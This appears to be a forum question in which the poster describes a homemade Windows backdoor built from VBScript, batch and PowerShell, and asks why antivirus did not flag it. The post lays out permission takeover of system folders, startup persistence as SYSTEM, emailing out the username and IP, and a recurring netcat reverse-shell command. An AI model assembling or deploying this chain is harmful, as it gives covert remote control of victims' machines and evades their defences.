I am quite new to this type of stuff and I'm experimenting a little bit. This weekend I had some spare time and decided to joke around with VBScript and powershell. What I did is I wrote a VBScript which can be run as normal user or as administrator and does the following when run:
Creates a .bat script and inserts the code manually in the script line by line and then executes it. The .bat contains:
- A takeown command for system32, sysWOW64 (if run as administrator of course)
- An icacls command that makes the above folders modifiable by anyone
- Runs the previously created powershell script
- Adds a .vbs in the local machine registry to run at startup as system
Creates a powershell script and inserts the code manually in the script line by line. The .ps1 contains:
- First it downloads netcat
- Then proceeds to unzip the downloaded file
- Then grabs the systems username and public ip
- Sends the data via smtp to a specified email
- Finally it executes netcat.exe with arguments: "netcat.exe -e cmd {listening servers public ip} {port}"
Creates another .vbs and inserts the code line by line manually (which will run on startup as stated in the .bat). The .vbs contains:
- A do while loop that every 5 minutes it runs a .bat file that contains "netcat.exe -e cmd {listening servers public ip} {port}" as a command (so I can have a persistent backdoor)
A .bat file that contains only one command:
- "netcat.exe -e cmd {listening servers public ip} {port}"
Run the .bat in the background hidden from the user
On the "attacker" side i have netcat opened listening on the specified port. I was able to get an elevated cmd without any triggering of AV (Tested with Avira, ESET).
This works on Windows 7, 8, 10 x64 and i made it support both powershell v. <3 and v. >3.
What I achieved is an elevated cmd with persistence without triggering AV detection and it seemed very easy to achieve.
Should this have been detected as a potential threat by the antivirus software and remove it from the system? I am able to accomplish remote code execution and gain full access to the target system
This project was executed in a local environment which I own. I have no intentions of anything else